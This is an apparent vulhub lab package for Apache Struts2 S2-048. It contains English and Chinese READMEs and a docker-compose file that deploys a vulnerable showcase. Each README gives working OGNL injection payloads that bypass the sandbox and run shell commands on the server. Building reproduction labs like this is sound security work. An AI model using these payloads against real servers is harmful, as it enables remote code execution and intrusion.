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struts2/s2-048/README.md

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+# S2-048 Remote Code Execution Vulnerablity
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Affected Version: 2.0.0 - 2.3.32
+
+Details:
+
+ - http://struts.apache.org/docs/s2-048.html
+ - http://bobao.360.cn/learning/detail/4078.html
+ - http://xxlegend.com/2017/07/08/S2-048%20%E5%8A%A8%E6%80%81%E5%88%86%E6%9E%90/
+
+## Setup
+
+```
+docker compose up -d
+```
+
+## Exploit
+
+This environment is a struts-2.3.32 showcase, in tomcat-8.5. After the environment run, visit the `http://your-ip:8080/showcase/` to view struts2 showcase.
+
+Access Integration/Struts 1 Integration:
+
+![](01.png)
+
+The OGNL expression vulnerability position is `Gangster Name` form.
+
+Enter `${233*233}` to see the results of the execution:
+
+![](02.png)
+
+Refer S2-045's sandbox bypass method, here is my POC:
+
+```
+%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
+```
+
+![](03.png)
+
+Of course, you can also use the POC of s2-045 directly (need Burpsuite):
+
+```
+%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
+```

struts2/s2-048/README.zh-cn.md

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+# S2-048 远程代码执行漏洞
+
+影响版本: 2.0.0 - 2.3.32
+
+漏洞详情:
+
+ - http://struts.apache.org/docs/s2-048.html
+ - http://bobao.360.cn/learning/detail/4078.html
+ - http://xxlegend.com/2017/07/08/S2-048%20%E5%8A%A8%E6%80%81%E5%88%86%E6%9E%90/
+
+## 测试环境搭建
+
+```
+docker compose up -d
+```
+
+## 漏洞复现
+
+原理详见参考文档，这里只说一下当前环境。
+
+这个环境是直接下载的struts-2.3.32的showcase，部署在tomcat-8.5下。环境启动后，访问`http://your-ip:8080/showcase/`即可查看到struts2的测试页面。
+
+访问Integration/Struts 1 Integration：
+
+![](01.png)
+
+触发OGNL表达式的位置是`Gangster Name`这个表单。
+
+输入`${233*233}`即可查看执行结果（剩下两个表单随意填写）：
+
+![](02.png)
+
+借用S2-045的沙盒绕过方法，我改了一个POC。将如下POC填入表单`Gengster Name`中，提交即可直接回显命令执行的结果：
+
+```
+%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
+```
+
+![](03.png)
+
+当然，你也可以直接用s2-045的POC（你需要在Burp下进行测试）：
+
+```
+%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
+```

struts2/s2-048/docker-compose.yml

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+version: '2'
+services:
+ struts2:
+   image: vulhub/struts2:2.3.32-showcase
+   ports:
+    - "8080:8080"